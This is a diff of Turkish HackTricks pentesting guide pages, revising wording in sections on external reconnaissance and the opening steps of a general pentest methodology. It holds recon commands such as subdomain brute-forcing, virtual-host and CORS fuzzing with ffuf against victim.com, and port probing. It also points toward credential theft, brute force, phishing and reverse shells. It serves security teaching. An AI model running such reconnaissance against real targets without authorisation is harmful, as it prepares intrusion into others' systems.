python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -340,7 +340,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) alt alanlar ve IP geçmişi aramak için ücretsiz bir API sunmaktadır.
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Bu proje, **bug-bounty programlarıyla ilgili tüm alt alanları ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak da erişebilirsiniz veya bu projenin kullandığı kapsamı [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden de erişebilirsiniz.
|
||||
Bu proje, **bug-bounty programlarıyla ilgili tüm alt alanları ücretsiz olarak** sunmaktadır. Bu verilere [chaospy](https://github.com/dr-0x0x/chaospy) kullanarak da erişebilirsiniz veya bu projenin kullandığı kapsamı [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) adresinden de görebilirsiniz.
|
||||
|
||||
Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
|
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) `massdns` etrafında yazılmış bir sarmalayıcıdır, go dilinde yazılmıştır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns), aktif bruteforce kullanarak geçerli alt alan adlarını listelemenizi sağlayan, go dilinde yazılmış `massdns` etrafında bir sarmalayıcıdır; ayrıca alt alan adlarını joker karakter desteği ile çözümleme ve kolay girdi-çıktı desteği sunar.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -391,7 +391,7 @@ Açık kaynaklar ve kaba kuvvet kullanarak alt alan adlarını bulduktan sonra,
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Alan adları ve alt alan adları verildiğinde permutasyonlar oluşturur.
|
||||
* goaltdns permutasyonlarını **wordlist** olarak **buradan** alabilirsiniz [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* goaltdns permutasyonlarını **wordlist** olarak **buradan** alabilirsiniz.
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -399,8 +399,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Alt alan adlarının permütasyonlarını oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir).
|
||||
* altdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Alt alan adı varyasyonları oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir).
|
||||
* altdns varyasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
@ -434,7 +434,7 @@ Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım
|
|||
|
||||
### **VHosts / Sanal Ana Bilgiler**
|
||||
|
||||
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**.
|
||||
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya** çalışabilirsiniz; bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force** yapabilirsiniz.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -442,7 +442,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force denemesi yapabilirsiniz:
|
||||
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -462,7 +462,7 @@ Bu teknikle, dahili/gizli uç noktalara erişim sağlayabilirsiniz.
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için **yeni alt alanlar** bulmak amacıyla kötüye kullanabilirsiniz.
|
||||
Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için **yeni alt alan adları** bulmak amacıyla kötüye kullanabilirsiniz.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
|
@ -475,18 +475,18 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**
|
|||
|
||||
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Güvenlik açıklarını arama**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Olası [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
|
||||
Eğer **alt alan** bir **S3 bucket**'a işaret ediyorsa, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
|
||||
Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Eğer keşfettiğiniz varlıkların IP'lerinden farklı bir **IP ile bir alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
|
||||
_Bazı durumlarda alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
|
||||
Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP ile alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
|
||||
_Bazı durumlarda alt alan, müşterinin kontrolünde olmayan bir IP içinde barındırılabilir, bu nedenle kapsamda değildir, dikkatli olun._
|
||||
|
||||
## IP'ler
|
||||
## IPs
|
||||
|
||||
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
|
||||
Artık bu aralardan **tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
|
||||
Başlangıç aşamalarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
|
||||
Artık bu aralıklardan **tüm IP'leri toplama** ve **alan adları/alt alanlar (DNS sorguları)** için zamanı geldi.
|
||||
|
||||
Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir)
|
||||
|
||||
|
@ -494,7 +494,7 @@ Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve al
|
|||
|
||||
Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek için [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kullanabilirsiniz.
|
||||
|
||||
### **Güvenlik açıklarını arama**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir.
|
||||
|
||||
|
@ -508,7 +508,7 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi
|
|||
|
||||
Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin verilirse**).
|
||||
|
||||
**Web** sunucularıyla ilgili **açık portları** keşfetmek için [**masscan** kullanarak hızlı bir yöntem**](../pentesting-network/#http-port-discovery) bulabilirsiniz.\
|
||||
**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem burada bulunabilir](../pentesting-network/#http-port-discovery).\
|
||||
Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -516,11 +516,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Ekran Görüntüleri**
|
||||
|
||||
Artık **kapsamdaki tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, bunu basit tutalım ve hepsinin ekran görüntülerini alarak başlayalım. Sadece **ana sayfaya bakarak**, daha **savunmasız** olma eğiliminde olan **garip** uç noktalar bulabilirsiniz.
|
||||
Artık **kapsamda bulunan tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, bunu basit tutalım ve hepsinin ekran görüntülerini alarak başlayalım. Sadece **ana sayfaya bakarak**, daha **savunmasız** olma eğiliminde olan **garip** uç noktalar bulabilirsiniz.
|
||||
|
||||
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz.
|
||||
|
||||
Ayrıca, [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** gözden geçirip, **hangi noktaların muhtemelen zafiyet içerdiğini** ve hangilerinin olmadığını belirleyebilirsiniz.
|
||||
Ayrıca, [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** gözden geçirip, **hangi noktaların muhtemelen zafiyet içerebileceğini** ve hangilerinin olmadığını belirleyebilirsiniz.
|
||||
|
||||
## Kamu Bulut Varlıkları
|
||||
|
||||
|
@ -544,7 +544,7 @@ Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısın
|
|||
|
||||
## E-postalar
|
||||
|
||||
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
|
||||
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
|
||||
* [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm)
|
||||
|
@ -566,14 +566,14 @@ E-postalar, daha sonra **web girişleri ve kimlik doğrulama hizmetleri** (SSH g
|
|||
|
||||
**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır.
|
||||
|
||||
## Gizli Bilgiler Sızıntıları
|
||||
## Gizli Bilgi Sızıntıları
|
||||
|
||||
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında olmayan **diğer sızıntılardan** da etkilenebilir:
|
||||
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir:
|
||||
|
||||
### Github Sızıntıları
|
||||
|
||||
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılmış olabilir.\
|
||||
**Leakos** adlı aracı kullanarak bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirebilir** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
|
||||
**Leakos** adlı aracı kullanarak bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
|
||||
|
||||
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
|
||||
|
||||
|
@ -592,9 +592,9 @@ Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://
|
|||
|
||||
### Google Dorks
|
||||
|
||||
Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri bulmak için** her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde çalıştırılamayacak kadar çok sayıda **sorgu** içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
|
||||
Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu nedenle, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
|
||||
|
||||
_Not edin ki, tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
|
||||
_Not edin ki, tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla sona ermeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
|
||||
|
||||
### **Zafiyet Arama**
|
||||
|
||||
|
@ -616,7 +616,7 @@ Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler d
|
|||
|
||||
## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Hata avcıları tarafından bulunan zafiyetlerin** çoğunluğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
|
||||
**Hata avcıları** tarafından bulunan **zafiyetlerin çoğunluğu**, **web uygulamalarının** içinde yer almaktadır, bu nedenle bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zafiyetleri bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.**
|
||||
|
||||
|
@ -634,7 +634,7 @@ Yani, zaten şunları buldunuz:
|
|||
6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
|
||||
7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz.
|
||||
8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir.
|
||||
9. Bulduğunuz tüm **web sitelerini pentest ettiniz**
|
||||
9. Bulduğunuz tüm web sitelerini **pentest ettiniz**
|
||||
|
||||
## **Tam Recon Otomatik Araçlar**
|
||||
|
||||
|
@ -649,9 +649,9 @@ Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek bir
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hackleme kariyerine** ve hacklenemez olanı hacklemeye ilgi duyuyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
|
||||
**Hackleme kariyerine** ve hacklenemez olanı hacklemeye ilgi duyuyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -664,7 +664,7 @@ GCP Hackleme öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.pn
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın** veya **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
# Pentesting Methodology
|
||||
# Pentesting Metodolojisi
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Pentesting Methodology
|
||||
## Pentesting Metodolojisi
|
||||
|
||||
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -33,7 +33,7 @@ Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel sa
|
|||
|
||||
### 1 - [Ağ içindeki hostları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/)
|
||||
|
||||
**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin internet üzerindeki varlıklarını bulmak** (dışsal test) isteyebilirsiniz.
|
||||
**Yaptığınız** **testin** **içsel veya dışsal test** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (içsel test) veya **şirketin varlıklarını internette bulmak** (dışsal test) isteyebilirsiniz.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız.
|
||||
|
@ -42,9 +42,9 @@ Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan so
|
|||
### **2-** [**Ağ ile Eğlenme**](pentesting-network/) **(İçsel)**
|
||||
|
||||
**Bu bölüm yalnızca içsel bir test yapıyorsanız geçerlidir.**\
|
||||
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Network**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz.
|
||||
Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Ağı**](pentesting-network/#sniffing) okuyabilirsiniz.
|
||||
|
||||
### 3- [Port Tarama - Servis keşfi](pentesting-network/#scanning-hosts)
|
||||
### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
|
||||
|
||||
**Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlara**](pentesting-network/#scanning-hosts) bakalım.
|
||||
|
||||
|
@ -61,23 +61,23 @@ Eğer çalışan herhangi bir servis için şık bir exploit yoksa, her çalış
|
|||
**Özellikle** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (en kapsamlı olanıdır).**\
|
||||
Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](search-exploits.md) hakkında küçük bir kılavuz burada bulunabilir.
|
||||
|
||||
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting** işleminizi gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
|
||||
**Eğer servisinizi dizinde bulamıyorsanız, Google'da** diğer eğitimleri arayın ve **eklememi istiyorsanız bana bildirin.** Eğer Google'da **hiçbir şey bulamazsanız**, kendi **kör pentesting'inizi** gerçekleştirin, **servise bağlanarak, fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
|
||||
|
||||
#### 5.1 Otomatik Araçlar
|
||||
|
||||
Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **[**Legion**](https://github.com/carlospolop/legion)**'u denemenizi öneririm, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
|
||||
Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **[**Legion**](https://github.com/carlospolop/legion)**'u denemenizi öneririm, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri hakkında notlara dayanan bir araçtır.**
|
||||
|
||||
#### **5.2 Brute-Force ile servisleri kırma**
|
||||
#### **5.2 Brute-Force ile hizmetleri kırma**
|
||||
|
||||
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulun**](brute-force.md)**.**
|
||||
Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için yararlı olabilir. [**Farklı servislerin brute forcing'ine dair bir CheatSheet burada bulabilirsiniz**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz:
|
||||
Eğer bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için **biraz phishing denemek** isteyebilirsiniz. Phishing metodolojimi [buradan](phishing-methodology/) okuyabilirsiniz:
|
||||
|
||||
### **7-** [**Shell Elde Etme**](reverse-shells/)
|
||||
### **7-** [**Shell Alma**](reverse-shells/)
|
||||
|
||||
Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [**sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesini bulmak çok faydalı olacaktır**](reverse-shells/).
|
||||
Bir şekilde, kurban üzerinde **kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesini bulmak çok faydalı olacaktır](reverse-shells/).
|
||||
|
||||
Özellikle Windows'ta **antivirüslerden kaçınmak için** bazı yardımlara ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
